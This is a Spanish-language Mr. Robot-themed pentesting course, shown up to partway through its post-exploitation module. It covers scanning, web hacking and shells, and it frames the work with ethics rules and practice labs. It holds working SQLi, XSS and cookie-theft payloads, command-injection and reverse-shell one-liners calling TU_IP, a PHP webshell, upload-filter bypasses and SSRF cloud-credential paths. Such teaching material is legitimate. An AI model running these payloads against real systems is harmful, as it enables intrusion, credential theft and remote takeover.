

```
0000 48 65 6c 6c 6f 2c 20 66 72 69 65 6e 64 2e Hello, friend.
000f 59 6f 75 20 61 72 65 20 72 6f 6f 74 2e 0a You are root.
001e 53 6d 61 73 68 20 74 68 65 20 73 74 61 63 Smash the stac
002d 6b 2e 20 52 4f 50 20 74 6f 20 72 65 61 6c k. ROP to real
```

HACKING AVANZADO

& RED TEAM ELITE

fsociety // Dark Room Notes v5.0 // PREMIUM EDITION

"Hello, friend. Smash the stack. ROP to reality."

\$ whoami

root

"I am not Mr. Robot. I am the one who knocks on the stack."

— Elliot Alderson

>>> INDICE GENERAL

#	Modulo	Nivel
0	Hello, Friend – Etica y mentalidad hacker	Todos
0.5	Fundamentos de Redes – TCP/IP, OSI, trafico	Basico
1	Conoce tu Mascara – Linux, bash, entorno	Basico
2	El Ojo de Angel – OSINT y reconocimiento	Basico
3	Golpea la Puerta – Escaneo y enumeracion	Basico/Medio
4	Explota como Mr. Robot – Web hacking	Medio
5	La Cascara de la Realidad – Shells y escalada	Medio/Avanz.
6	HEX STRIKE – Buffer overflow y reversing	Avanzado
7	GHOST Protocol – L0TL, Pass-Hash, forense	Avanzado
8	AV/EDR Evasion – Bypass de defensas modernas	Avanzado
9	Active Directory – Ataques en entornos Windows	Avanzado
10	Kernel Exploitation – Escalada a Ring 0	Expert
A	Apendice A – Plataformas y herramientas	–
B	Apendice B – Plantilla Pentest Report	–
C	Apendice C – pwntools completo	–
D	Apendice D – Labs Vagrant / Docker	–
E	Apendice E – Como ganar dinero con esto	–
G	Glosario – Basico + Avanzado	–

Cada modulo incluye: Playbook de ataque real, Hacker Mindset, Checklist accionable, Errores comunes y ejercicios practicos.

MOD 0 HELLO, FRIEND

Etica, mentalidad y por que importa

"El 90% de la gente que empieza a estudiar hacking abandona en el primer mes. No porque sea muy dificil. Sino porque nadie les dijo como pensar."

[BÁSICO] No se requieren conocimientos previos

0.1 Por que el 90% fracasa (y como no ser parte de ese grupo)

La mayoría llega buscando 'herramientas para hackear'. Eso es exactamente lo contrario de lo que funciona. Las herramientas cambian cada seis meses. La mentalidad, no.

Elliot no era poderoso porque sabia usar Metasploit. Era poderoso porque entendia como pensaba el sistema. Y el sistema siempre tiene fisuras porque lo construyo gente imperfecta.

[HACKER MINDSET]

- > No busques 'el exploit'. Busca el modelo mental del desarrollador que cometio el error.
- > Cada sistema fue construido por humanos bajo presion, con plazos, con deuda tecnica.
- > Tu ventaja no es la herramienta. Es que tienes tiempo para pensar lo que ellos no tuvieron.
- > Documenta todo. Lo que no documentas, no existe. Y lo que no existe no se puede cobrar.
- > El aburrimiento es parte del trabajo. 80% recon, 15% intentos, 5% exito real.

0.2 Modelo de estudio progresivo

Semana	Enfoque	Meta concreta
1-2	Linux + redes	Configurar lab, ejecutar primer nmap
3-4	OSINT + escaneo	Completar primer CTF de VulnHub
5-6	Web hacking	Explotar SQLi y XSS en DVWA (nivel Low→High)
7-8	Shells + privesc	Obtener root en 3 maquinas de TryHackMe
9-12	Buffer overflow	Primer exploit propio (protostar stack0→stack3)
13-16	AD + evasion	Lab AD propio, Kerberoasting exitoso
17+	HackTheBox activo	Resolver 1 maquina por semana, documentar

0.3 El Manifiesto fsociety

REGLAS – LEE ESTO ANTES DE CONTINUAR

1. Solo atacaras sistemas propios, CTF autorizados, o con permiso ESCRITO
2. No danaras infraestructuras criticas (hospitales, agua, electricidad)
3. No atacaras personas reales sin autorizacion expresa
4. Documentaras ABSOLUTAMENTE TODO lo que hagas
5. El conocimiento es para proteger, no para destruir ni para lucirte

[ERRORES COMUNES]

- x Creer que ser hacker = instalar Kali y ejecutar Metasploit sin entender nada
- x Estudiar 10 herramientas a la vez en lugar de dominar 1 completamente
- x Saltar al hacking ofensivo sin entender redes ni Linux primero
- x No documentar – sin evidencia, no hay pentest profesional
- x Atacar sistemas reales sin autorizacion (es un delito, no una hazana)

[?] Ejercicio #0: Crea tu entorno: instala VirtualBox + Kali + Metasploitable2. Verifica que se ven mutuamente con ping. Ese es tu dark room.

MOD 0.5

FUNDAMENTOS DE REDES

TCP/IP, OSI, trafico, Wireshark

"No puedes hackear lo que no entiendes. Y no puedes entender lo que no ves."

[BASICO] Base obligatoria antes de cualquier otro modulo

[HACKER MINDSET]

- > Una red no es magia. Es solo maquinas que se pasan bytes segun reglas.
- > Si entiendes las reglas (protocolos), puedes doblarlas.
- > Siempre preguntate: quien habla con quien, en que puerto, y por que.
- > Wireshark es tu microscopio. Usalo para ver exactamente lo que pasa.

0.5.1 El Modelo OSI – Las 7 plantas de E Corp

Capa	Nombre	Protocolos clave	Analogia fsociety
7	Aplicacion	HTTP,FTP,SSH,DNS	El CEO tomando decisiones
6	Presentacion	SSL/TLS, cifrado	El traductor
5	Sesion	NetBIOS, RPC	El gestor de reuniones
4	Transporte	TCP, UDP	El servicio de mensajeria
3	Red	IP, ICMP, OSPF	El mapa del edificio
2	Enlace	Ethernet, ARP, MAC	Las tarjetas de acceso
1	Fisica	Cables, WiFi, fibra	Los tuneles subterranos

0.5.2 TCP vs UDP – La diferencia que importa en hacking

TCP vs UDP

```
# TCP – orientado a conexion (3-way handshake)
Cliente --[SYN]-->      Servidor  # 'quiero hablar'
Cliente <--[SYN-ACK]--  Servidor  # 'ok, listo'
Cliente --[ACK]-->      Servidor  # 'perfecto'
# Ahora se transmiten datos con confirmacion

# UDP – sin conexion, sin confirmacion
Cliente --[datos]-->    Servidor  # 'toma, suerte'
# Si se pierde: nadie sabe, nadie llora
```

Protocolo	Uso en hacking
TCP	Escaneos Nmap SYN, reverse shells, HTTP, SMB, SSH
UDP	DNS enum (53), SNMP (161), DHCP (67/68) – a menudo ignorado por firewalls

0.5.3 Puertos: la mapa de ataque

Puerto	Servicio	Relevancia para hacking
21	FTP	Login anonimo, bounce attack, credenciales en claro
22	SSH	Fuerza bruta, claves debiles, version vulnerable
23	Telnet	Credenciales en claro, obsoleto pero presente
25	SMTP	Open relay, user enumeration, phishing
53	DNS	Zone transfer, subdomain enum, tunneling
80	HTTP	Web hacking, SQLi, XSS, RCE
139/445	SMB	EternalBlue, Pass-Hash, shares expuestos
443	HTTPS	Web cifrada, mismos vectores que HTTP
1433	MSSQL	xp_cmdshell, SA con clave debil

3306	MySQL	Inyeccion, credenciales por defecto
3389	RDP	BlueKeep CVE-2019-0708, fuerza bruta
5985	WinRM	Evil-WinRM si tienes credenciales

0.5.4 Wireshark – ver el trafico real

Wireshark y tshark

```
# Instalar
$ sudo apt install wireshark

# Capturar en interfaz
$ sudo wireshark &
# Seleccionar eth0 o la interfaz de tu VM

# Filtros utiles en Wireshark:
http                # solo trafico HTTP
tcp.port == 22      # solo SSH
ip.addr == 192.168.1.100 # solo ese host
http.request.method == 'POST' # POST requests
tcp.flags.syn == 1    # SYN packets (inicio de conexiones)

# Desde terminal con tshark:
$ sudo tshark -i eth0 -f 'port 80' -w captura.pcap
$ tshark -r captura.pcap -Y 'http' -T fields -e http.request.uri
```

[PLAYBOOK: ANALISIS DE RED DESCONOCIDA]

- 1 ip addr show – identificar tu propia IP y rango
- 2 nmap -sn 192.168.X.0/24 – descubrir hosts activos
- 3 nmap -sV -sC <IP> – identificar servicios y versiones
- 4 Wireshark: capturar 5min de trafico pasivo
- 5 Analizar: que protocolos dominan? hay creds en claro?
- 6 arp-scan --localnet – alternativa rapida para hosts LAN

[?] Ejercicio #0.5: Abre Wireshark, captura trafico mientras navegas por HTTP (no HTTPS). Filtra por 'http'. Puedes ver las URLs que visitas? alguna contrasena en claro?

MOD 1 CONOCE TU MASCARA

Linux, bash, scripting, entorno de ataque

"No puedes luchar contra el sistema si usas la misma cara que ellos esperan."

[BÁSICO] Fundamento obligatorio — dedica aquí el tiempo necesario

[HACKER MINDSET]

- > Linux no es solo una herramienta. Es el idioma en que hablan los servidores.
- > Un pentester que no domina la terminal es como un cirujano con guantes de boxeo.
- > No memorices comandos. Entiende QUE hacen. El man es tu mejor amigo.
- > Todo en Linux es un archivo. Aprende eso y entenderas el 70% del sistema.

1.1 Sistema de archivos — el mapa del territorio

Directorio	Que contiene	Por que importa en hacking
/	Raiz del sistema	El punto de partida de todo
/etc	Configuracion	/etc/passwd, /etc/shadow, /etc/crontab
/var/log	Logs del sistema	auth.log, syslog — rastros de intrusiones
/tmp	Archivos temporales	World-writable — ideal para subir payloads
/proc	Informacion del kernel	/proc/version, /proc/net/tcp (conexiones)
/home /root	Directorios de usuarios	SSH keys, .bash_history, configuraciones
/usr/bin	Ejecutables de usuario	Binarios SUID mal configurados
/dev	Dispositivos	/dev/null, /dev/tcp (bash TCP tricks)

1.2 Comandos — los que realmente usaras

[BÁSICO]

Comandos esenciales de pentesting

```
# Navegacion y archivos
$ ls -la          # listar todo, incluyendo ocultos
$ find / -name '*.conf' 2>/dev/null # buscar archivos de configuracion
$ find / -perm -4000 -type f 2>/dev/null # buscar SUID (clave en privesc)
$ grep -r 'password' /etc/ 2>/dev/null # buscar contraseñas en configs

# Procesos y red
$ ps aux          # todos los procesos
$ ss -tlnp        # puertos escuchando (reemplaza netstat)
$ cat /proc/net/tcp # conexiones TCP en hex

# Usuarios y permisos
$ id              # quien soy y mis grupos
$ cat /etc/passwd # usuarios del sistema
$ sudo -l         # que puedo ejecutar como root?
```

1.3 Scripting bash — automatizar el trabajo repetitivo

[INTERMEDIO]

```
enum_rapido.sh

#!/bin/bash
# Script: enum_rapido.sh — enumeracion inicial de un objetivo
TARGET=${1:?'Uso: $0 <IP>'}

echo '[*] === ENUMERACION RAPIDA fsociety ==='
echo "[*] Target: $TARGET"
echo "[*] Fecha: $(date)"

# Verificar conectividad
ping -c 1 -W 2 $TARGET &>/dev/null \
    && echo '[+] Host activo' || { echo '[-] No responde a ping'; exit 1; }

# Escaneo rapido de puertos top 1000
echo '[*] Escaneando puertos...'
nmap -sV --top-ports 1000 -T4 $TARGET -oN /tmp/nmap_$TARGET.txt

# Si hay puerto 80 o 443, fuzzing de directorios
if grep -q '80/tcp\|443/tcp' /tmp/nmap_$TARGET.txt; then
    echo '[*] Web detectada, iniciando gobuster...'
    gobuster dir -u http://$TARGET -w /usr/share/wordlists/dirb/common.txt \
        -o /tmp/gobuster_$TARGET.txt -q
fi

echo "[+] Resultados en /tmp/"
echo '[*] Listo.'
```

1.4 tmux — el entorno de trabajo de Elliot

```
tmux setup pentest

$ tmux new -s pentest

# Layout tipico de una sesion de pentesting:
Ctrl+B %      # dividir: panel izquierdo = shell victim | derecho = notas
Ctrl+B "      # dividir horizontal: arriba = nmap | abajo = nc listener
Ctrl+B z      # zoom en panel actual
Ctrl+B d      # detach (sesion sigue activa)
$ tmux attach -t pentest # reconectar

# ~/.tmux.conf recomendado:
set -g mouse on          # scroll con raton
set -g history-limit 50000
set -g status-bg '#0d0d0d'
set -g status-fg '#00aa33'
```

[CHECKLIST: SETUP DE KALI PARA PENTESTING]

- ☒ VirtualBox/VMware instalado y VM Kali creada
- ☒ Red configurada: NAT + Host-Only adapter
- ☒ Maquina victima (Metasploitable2 o VulnHub) en Host-Only
- ☒ tmux instalado y .tmux.conf configurado
- ☒ SecLists clonado: git clone https://github.com/danielmiessler/SecLists
- ☒ Herramientas actualizadas: sudo apt update && sudo apt upgrade -y
- ☒ Directorio de trabajo creado: ~/pentests/YYYY-MM-DD_target/

[ERRORES COMUNES]

- ✗ Trabajar como root en Kali para todo — crea un usuario normal para lo cotidiano
- ✗ No guardar outputs de herramientas — siempre -oA para nmap, -o para gobuster
- ✗ Olvidar 2>/dev/null — el ruido de errores oculta resultados importantes
- ✗ Usar find sin limitar profundidad — find / -maxdepth 5 es mucho mas rapido

[?] Ejercicio #1: Crea enum_rapido.sh, dasele permisos +x y ejecutalo contra tu VM Metasploitable2. Guarda el output. Cuantos puertos abiertos tiene? Que servicio llama mas tu atencion?

MOD 2 EL OJO DE ANGEL

OSINT, reconocimiento pasivo y activo

"No atacas sin conocer las rutas de evacuacion. Angel no tenia un plan. Tu si."

[BASICO] Esta fase define el exito de todo lo demas

[HACKER MINDSET]

- > Recon es la fase mas importante. Un buen recon hace el exploit casi trivial.
- > La diferencia entre un pentester y un script kiddie: el pentester piensa.
- > Cada pieza de informacion abre nuevas preguntas. Sigue el hilo.
- > OSINT pasivo = cero ruido en los logs del objetivo. Empieza siempre por aqui.
- > LinkedIn y redes sociales revelan tecnologias internas, empleados clave, CVs.

[PLAYBOOK: RECON INICIAL – FLUJO REAL]

- 1 whois + nslookup – registrante, DNS servers, IPs del dominio
- 2 subfinder + amass – subdominios pasivos (sin tocar el objetivo)
- 3 theHarvester – emails, IPs, hostnames publicos
- 4 Google Dorks – archivos expuestos, paneles admin, errores de config
- 5 Shodan/Censys – servicios expuestos, versiones, certificados SSL
- 6 waybackmachine – versiones antiguas del sitio, endpoints olvidados
- 7 LinkedIn OSINT – tecnologias usadas (job listings revelan el stack)
- 8 Construir mapa completo antes de tocar el objetivo

2.1 Google Dorking – encontrar lo que no deberia estar

Google Dorks avanzados

```
# Archivos sensibles expuestos
site:ejemplo.com ext:log | ext:sql | ext:conf | ext:bak
site:ejemplo.com ext:xml | ext:json | ext:env

# Paneles de administracion
site:ejemplo.com inurl:admin | inurl:login | inurl:panel
site:ejemplo.com intitle:"phpMyAdmin" | intitle:"Adminer"

# Directorios abiertos
site:ejemplo.com intitle:"index of"
site:ejemplo.com intitle:"index of" passwd

# Tecnologias y versiones (para buscar CVEs)
site:ejemplo.com "Powered by WordPress 5."
site:ejemplo.com "Server: Apache/2.4"

# Subdominios olvidados
site:*.ejemplo.com -www
```

2.2 theHarvester + subfinder + amass

MOD 3 GOLPEA LA PUERTA

Escaneo activo, enumeracion y fingerprinting

"Un nmap sin cerebro es ruido. Un nmap con contexto es inteligencia."

[BASICO] Primera interaccion activa con el objetivo

[HACKER MINDSET]

- > El escaneo no es el objetivo. Es obtener un mapa para tomar DECISIONES.
- > Siempre guarda los outputs. La segunda lectura revela lo que la primera ignora.
- > Un puerto abierto es solo una pregunta. La version del servicio es la respuesta.
- > Combina herramientas: nmap te dice el que, los scripts NSE te dicen el como.
- > Velocidad vs sigilo: T4 es ruidoso. T2 es mas silencioso. Elige segun el contexto.

[PLAYBOOK: ESCANEO COMPLETO — FLUJO PROFESIONAL]

- 1 Fase 1 — Discovery: nmap -sn para descubrir hosts activos
- 2 Fase 2 — Top ports: nmap -sV -sC --top-ports 1000 -T4 (rapido)
- 3 Fase 3 — Full scan: nmap -sV -sC -p- -T3 (completo, mas lento)
- 4 Fase 4 — UDP: nmap -sU --top-ports 100 (DNS, SNMP, DHCP)
- 5 Fase 5 — Scripts NSE especificos segun servicios encontrados
- 6 Fase 6 — Web: gobuster/ffuf si hay 80/443
- 7 Fase 7 — Analizar y priorizar vectores de ataque

3.1 Nmap — de basico a profesional

[BASICO]

Nmap fases

```
# FASE 1: Discovery rapido
$ nmap -sn 192.168.1.0/24 --open

# FASE 2: Escaneo inicial rapido (primeros resultados)
$ nmap -sV -sC --top-ports 1000 -T4 <IP> -oA /tmp/nmap_fast

# FASE 3: Escaneo completo (dejar corriendo en segundo panel tmux)
$ nmap -sV -sC -p- -T3 <IP> -oA /tmp/nmap_full

# FASE 4: UDP — frecuentemente ignorado
$ sudo nmap -sU --top-ports 100 <IP> -oA /tmp/nmap_udp

# OS detection
$ sudo nmap -O --osscan-guess <IP>

# Evasion basica de IDS/firewall
$ nmap -sS -T2 -f --data-length 25 <IP> # fragmentar paquetes
```

3.2 NSE — Scripts inteligentes para cada servicio

[INTERMEDIO]

```

NSE por servicio

# Vulnerabilidades conocidas
$ nmap --script vuln <IP>

# SMB – siempre prioritario en Windows
$ nmap --script smb-vuln-ms17-010,smb-enum-shares,smb-enum-users <IP>

# HTTP – enumeracion web
$ nmap --script http-enum,http-methods,http-auth-finder,http-title <IP> -p 80,443

# SSH – version y algoritmos
$ nmap --script ssh2-enum-algos,ssh-auth-methods <IP> -p 22

# FTP – login anonimo
$ nmap --script ftp-anon,ftp-syst <IP> -p 21

# MySQL
$ nmap --script mysql-info,mysql-empty-password <IP> -p 3306

# SNMP (UDP 161) – informacion de sistema
$ nmap -sU --script snmp-info,snmp-sysdescr <IP> -p 161

```

3.3 Fuzzing web – gobuster, ffuf, feroxbuster

[BASICO]

```

Web fuzzing

# gobuster – rapido, directo
$ gobuster dir -u http://<IP> \
  -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt \
  -x php,html,txt,bak,old,zip -t 50 -o gobuster.txt

# ffuf – flexible, ideal para fuzzing de parametros
$ ffuf -u http://<IP>/FUZZ \
  -w /usr/share/seclists/Discovery/Web-Content/common.txt \
  -mc 200,301,302,403 -o ffuf.json -of json

# ffuf – fuzz de parametros GET
$ ffuf -u 'http://<IP>/page.php?FUZZ=test' \
  -w /usr/share/seclists/Discovery/Web-Content/burp-parameter-names.txt

# feroxbuster – recursivo (descubre subdirectorios automaticamente)
$ feroxbuster -u http://<IP> \
  -w /usr/share/seclists/Discovery/Web-Content/raft-medium-words.txt \
  --depth 3 -x php,html -o ferox.txt

```

3.4 Enumeracion de servicios especificos

[INTERMEDIO]

```

Enumeracion SMB/FTP/SNMP

# SMB – el rey de los vectores Windows
$ smbmap -H <IP>
$ smbclient -L //<IP>/ -N          # listar shares sin password
$ smbclient //<IP>/sharename -N    # conectar al share
$ enum4linux-ng -A <IP>           # enumeracion completa
$ crackmapexec smb <IP> --shares  # con CME

# FTP con credenciales
$ ftp <IP> # usuario: anonymous / pass: (vacio)
ftp> ls -la
ftp> get archivo_interesante

# SNMP – gold mine de informacion de sistema
$ snmpwalk -c public -v1 <IP>
$ onesixtyone -c /usr/share/seclists/Discovery/SNMP/common-snmp-community-strings.txt <IP>

```

[CHECKLIST: POST-ESCANEO]

- ☒ Todos los puertos documentados con servicio y version
- ☒ Output de nmap guardado en -oA (3 formatos)
- ☒ Versiones buscadas en CVE Mitre / ExploitDB
- ☒ Si hay web: gobuster ejecutado, resultados revisados
- ☒ Si hay SMB: shares enumerados con smbmap
- ☒ Si hay FTP: acceso anonimo comprobado
- ☒ Prioridad de ataque decidida antes de explotar

[DECISION TREE]

Si nmap encuentra Apache/Nginx version vieja:
-> searchsploit apache 2.4.49 (buscar CVE-2021-41773)

Si nmap encuentra SMB puerto 445 en Windows:
-> script smb-vuln-ms17-010 primero
-> si vulnerable: exploit/windows/smb/ms17_010_eternalblue

Si nmap encuentra FTP con anonymous login:
-> revisar archivos, buscar credenciales, notas internas

Si nmap encuentra puerto no estandar (ej: 8080, 8443, 8888):
-> investigar que servicio corre – probablemente panel admin

[ERRORES COMUNES]

- × Ejecutar solo nmap top 1000 y no el -p- completo – puertos altos son oro
- × Ignorar UDP – SNMP puerto 161 revela info de sistema sin autenticacion
- × No guardar outputs de nmap – -oA es obligatorio en pentest real
- × Empezar a explotar sin revisar TODOS los servicios – perdes el vector facil

[?] Ejercicio #3: Ejecuta un escaneo completo de 4 fases sobre Metasploitable2. Identifica los 5 servicios mas vulnerables. Para cada uno: busca en ExploitDB o CVE Mitre si hay exploits publicos. Cuales priorizarias? Por que?

MOD 4 EXPLOTA COMO MR. ROBOT

Web hacking: SQLi, XSS, CMDi, SSRF, IDOR

"El sitio web es la piel del sistema. Yo busco los nervios debajo."

[INTERMEDIO] La mayoría de vulnerabilidades reales son web — domina esto

[HACKER MINDSET]

- > Toda entrada de usuario es un vector potencial. TODA.
- > Burp Suite es tu laboratorio. No hagas web hacking sin un proxy.
- > Entiende primero la logica del negocio. Luego busca donde romperla.
- > El fuzzing automatico encuentra el 30%. El 70% requiere pensar.
- > Los errores del servidor son tus mejores aliados — revelan tecnologia y rutas.

[PLAYBOOK: WEB HACKING — FLUJO METODICO]

- 1 Mapear la aplicacion: gobuster + spider (Burp) + revisar JS files
- 2 Identificar puntos de entrada: formularios, parametros URL, cookies, headers
- 3 Fingerprint de tecnologia: Wappalyzer, nmap http-tech, cookies (PHPSESSID=PHP)
- 4 Probar SQLi en TODOS los parametros con inputs de deteccion
- 5 Probar XSS en campos de texto/busqueda/comentarios
- 6 Verificar IDOR: cambiar IDs numericos en URLs (/user/1 -> /user/2)
- 7 Probar upload de archivos: bypass de extension/tipo MIME
- 8 Revisar endpoints de API: /api/v1/, /api/v2/, /graphql

4.1 Burp Suite — el proxy que todo pentesters necesita

[BASICO]

CONFIGURACION ESENCIAL

1. Abrir Burp Suite Community Edition
2. Proxy -> Intercept -> ON
3. Firefox: Preferencias -> Red -> Configuracion manual: 127.0.0.1:8080
4. Instalar certificado: navegar a http://burpsuite -> Download CA Certificate
5. Firefox: Preferencias -> Certificados -> Ver certificados -> Importar
6. Extensiones utiles (BApp Store): Logger++, Retire.js, Param Miner, Turbo Intruder

4.2 SQL Injection — el clasico que nunca muere

[INTERMEDIO]

SQLi manual — deteccion y extraccion

```
# DETECCION — inputs de prueba
'
' OR '1'='1
' OR 1=1--
" OR 1=1--
' OR 'a'='a
1; SELECT SLEEP(5)-- # blind: si tarda 5s, es vulnerable

# CONFIRMACION — enumerar columnas
' ORDER BY 1--
' ORDER BY 2--
' ORDER BY 3-- # si falla, hay 2 columnas

# EXTRACCION con UNION
' UNION SELECT null,null--
' UNION SELECT @@version,database()--
' UNION SELECT table_name,null FROM information_schema.tables--
' UNION SELECT column_name,null FROM information_schema.columns WHERE table_name='users'--
' UNION SELECT username,password FROM users--
```

```
sqlmap

# sqlmap - automatizacion inteligente
$ sqlmap -u 'http://target/page?id=1' --dbs --batch
$ sqlmap -u 'http://target/page?id=1' -D nombre_db --tables --batch
$ sqlmap -u 'http://target/page?id=1' -D nombre_db -T users --dump --batch

# Con cookie de sesion (post-login)
$ sqlmap -u 'http://target/profile?id=1' \
  --cookie=PHPSESSID=abc123; security=low' --dbs --batch

# Formulario POST
$ sqlmap -u 'http://target/login' \
  --data='username=admin&password=test' -p username --dbs --batch

# Si hay WAF - intentar evasion
$ sqlmap -u 'http://target/?id=1' --tamper=space2comment,charencode --dbs
```

4.3 XSS — mas alla del alert(1)

[INTERMEDIO]

XSS tiene 3 tipos: Reflected (respuesta inmediata), Stored (persistente en BD) y DOM-based (manipulacion del DOM via JavaScript). El mas peligroso para produccion es Stored. El mas util para pentesting real es el que roba cookies/tokens.

```
XSS avanzado

# DETECCION BASICA
<script>alert('XSS')</script>
<img src=x onerror=alert(1)>
<svg onload=alert(1)>
javascript:alert(1)

# BYPASS DE FILTROS (cuando el basico no funciona)
<ScRiPt>alert(1)</ScRiPt>      # bypass case-sensitive
<img src=x onerror=alert`1`>  # bypass parentesis
<script>eval(atob('YWxlcuQoMSk='))</script>  # base64
"><img src=x onerror=alert(document.domain)>  # salir del atributo

# XSS DOM-BASED (en codigo JavaScript del cliente)
# Buscar en JS: document.write(), innerHTML, eval(), location.hash
# URL: http://target/page#<img src=x onerror=alert(1)>

# ROBO DE COOKIES (laboratorio propio)
<script>fetch('http://TU_IP:8000/c?x='+document.cookie)</script>
# Listener: python3 -m http.server 8000
```

4.4 IDOR — Insecure Direct Object Reference

[INTERMEDIO]

IDOR es una de las vulnerabilidades mas comunes en bug bounty y de las mas simples: el servidor no verifica que el recurso solicitado pertenece al usuario que lo pide.

IDOR

```
# Deteccion de IDOR
# 1. Crear dos cuentas en la aplicacion: userA y userB
# 2. Como userA, realizar una accion y capturar el request en Burp
# 3. Cambiar el ID por el de userB
# 4. Si funciona: IDOR confirmado

# Ejemplos de vectores IDOR:
GET /api/user/1337/profile      # cambiar 1337 por otro ID
GET /download?file_id=42       # acceder al archivo de otro usuario
POST /api/orders/99/cancel     # cancelar pedido ajeno
GET /reset-password?token=abc  # adivinar tokens secuenciales

# Con Burp Intruder – fuerza bruta de IDs:
# Marcar el ID como payload position
# Payload: Numbers, from 1 to 1000, step 1
# Filtrar por tamaño de respuesta diferente = dato de otro usuario
```

4.5 Command Injection y File Upload Bypass

[INTERMEDIO]**CMDi + File Upload**

```
# COMMAND INJECTION – deteccion
; id
| id
&& id
`id`
$(id)

# Reverse shell desde CMDi
; bash -c 'bash -i >& /dev/tcp/TU_IP/4444 0>&1'
; rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc TU_IP 4444 >/tmp/f

# FILE UPLOAD BYPASS
# 1. Subir webshell.php -> servidor rechaza .php
# 2. Intentar: .php5, .phtml, .phar, .php3, .php7
# 3. Cambiar Content-Type en Burp: image/jpeg pero extension .php
# 4. Double extension: webshell.php.jpg (si solo valida extension final)
# 5. Null byte: webshell.php%00.jpg (PHP < 5.3)

# Webshell PHP minima
<?php system($_GET['cmd']); ?>
# Acceso: http://target/uploads/shell.php?cmd=id
```

4.6 SSRF – el servidor como proxy de ataque

[AVANZADO]

SSRF

```
# DETECCION
http://127.0.0.1/
http://localhost/
http://0.0.0.0/
http://169.254.169.254/      # AWS metadata
http://[::1]/                # IPv6 localhost

# ESCALADA – cloud metadata
http://169.254.169.254/latest/meta-data/
http://169.254.169.254/latest/meta-data/iam/security-credentials/
http://metadata.google.internal/computeMetadata/v1/

# BYPASS de filtros SSRF
http://2130706433/           # 127.0.0.1 en decimal
http://0x7f000001/           # 127.0.0.1 en hex
http://127.1/                # forma corta
http://spoofed.domain/ -> apuntar a 127.0.0.1 con DNS propio

# Herramienta: interactsh para detectar SSRF blind
$ interactsh-client # genera URL unica para detectar callbacks
```

[CHECKLIST: CHECKLIST WEB HACKING]

- ☒ Burp Suite configurado y capturando trafico
- ☒ gobuster/ffuf completado – todos los endpoints mapeados
- ☒ Todos los parametros URL y formularios probados con SQLi
- ☒ Campos de texto/busqueda probados con XSS basico y bypass
- ☒ IDs numericos en URLs probados para IDOR
- ☒ Funcionalidad de upload de archivos probada con webshell
- ☒ Endpoints de API (/api/, /graphql) enumerados y probados
- ☒ Cabeceras HTTP revisadas (X-Forwarded-For, Host, Referer como vectores)

[ERRORES COMUNES]

- ✗ No usar Burp – sin proxy no ves exactamente lo que se envia/recibe
- ✗ Probar SQLi solo en el parametro id – probar TODOS los parametros
- ✗ Rendirse con el alert(1) – XSS tiene docenas de bypasses segun el filtro
- ✗ Ignorar codigos de respuesta 403 – a veces son bypassseables con IP headers
- ✗ No mapear la logica de negocio antes de buscar bugs tecnicos

[?] Ejercicio #4: En DVWA (nivel Medium): explota SQLi con sqlmap, XSS con bypass de filtro. Luego instala OWASP Juice Shop y encuentra 3 vulnerabilidades distintas. Documenta el vector, el payload y el impacto de cada una.

MOD 5 LA CASCARA DE LA REALIDAD

Shells estables, post-explotacion, escalada

"Una shell no es el fin. Es el principio de la pregunta real: hasta donde puedo llegar?"

[INTERMEDIO] La escalada de privilegios es donde el pentest se vuelve real

[Elliot]

Obtener una shell es emocionante. Pero www-data no me sirve. Necesito root.

[Mr. Robot]

Entonces empieza a pensar: que corre como root? que esta mal configurado? Que version de kernel tienen? El sistema tiene grietas. Encuéntralas.

[HACKER MINDSET]

- > Obtener shell != comprometer el sistema. La escalada es el verdadero objetivo.
- > Siempre estabiliza la shell primero. Una shell inestable te va a costar la sesion.
- > LinPEAS no piensa por ti. Lee su output, no solo busques el rojo.
- > La escalada mas facil siempre esta en la configuracion, no en el exploit de kernel.
- > Post-explotacion: informacion > acceso. Busca credenciales antes que nada.

5.1 Reverse Shells – obtener y estabilizar

[INTERMEDIO]

Reverse shell payloads

```
# LISTENERS – siempre en el atacante
$ nc -lvp 4444
$ rlwrap nc -lvp 4444          # con historial de comandos
$ socat TCP-L:4444 FILE:`tty`,raw,echo=0  # shell completamente estable

# PAYLOADS – ejecutar en la victima
# Bash (el mas comun)
bash -c 'bash -i >& /dev/tcp/TU_IP/4444 0>&1'

# Python3 (muy portable)
python3 -c "import os,pty,socket;s=socket.socket();
s.connect(('TU_IP',4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);
os.dup2(s.fileno(),2);pty.spawn('/bin/bash')"

# PHP (desde webserv)
php -r '$s=fsockopen("TU_IP",4444);$p=proc_open("/bin/sh", [0=>$s,1=>$s,2=>$s],$x);'

# PowerShell (windows)
powershell -nop -w hidden -e <BASE64_PAYLOAD>
# Generar: msfvenom -p windows/x64/shell_reverse_tcp LHOST=TU_IP LPORT=4444 -f psh
```

Estabilizar shell

```
# ESTABILIZAR SHELL (obligatorio antes de todo)
# 1. En la shell obtenida:
python3 -c 'import pty;pty.spawn("/bin/bash")'
# 2. En tu terminal:
Ctrl+Z
stty raw -echo; fg
[Enter][Enter]
# 3. Dentro de la shell:
export TERM=xterm
stty rows 40 cols 170

# Con socat (mejor opcion – shell completamente interactiva)
# En atacante:
$ socat TCP-L:4444 FILE:`tty`,raw,echo=0
# En victima:
$ socat TCP:TU_IP:4444 EXEC:'/bin/bash',pty,stderr,setsid,sigint,sane
```

5.2 Post-explotacion – lo primero que haces al entrar

[INTERMEDIO]

[PLAYBOOK: POST-EXPLOTACION INMEDIATA]

```
1 id && whoami – quien soy? que grupos tengo?
2 hostname && uname -a – sistema operativo y version de kernel
3 ip addr show – en que red estoy? hay otras interfaces?
4 cat /etc/passwd | grep -v nologin – usuarios con shell
5 sudo -l – que puedo ejecutar como root SIN password?
6 find / -perm -4000 -type f 2>/dev/null – binarios SUID
7 cat /etc/crontab + ls -la /etc/cron* – tareas programadas
8 find / -writable -type f 2>/dev/null | grep -v proc – archivos escribibles
9 ps aux | grep -v '\[' – procesos corriendo (buscar servicios internos)
10 ss -tlnp – puertos locales (servicios internos no visibles desde fuera)
```

5.3 LinPEAS – enumeracion automatizada

LinPEAS

```
# Descargar y ejecutar (con internet en la victima)
$ curl -L https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh | sh 2>/dev>

# Sin internet – transferir desde atacante
# Atacante:
$ python3 -m http.server 8080
# Victima:
$ wget http://TU_IP:8080/linpeas.sh -O /tmp/lp.sh && chmod +x /tmp/lp.sh && /tmp/lp.sh

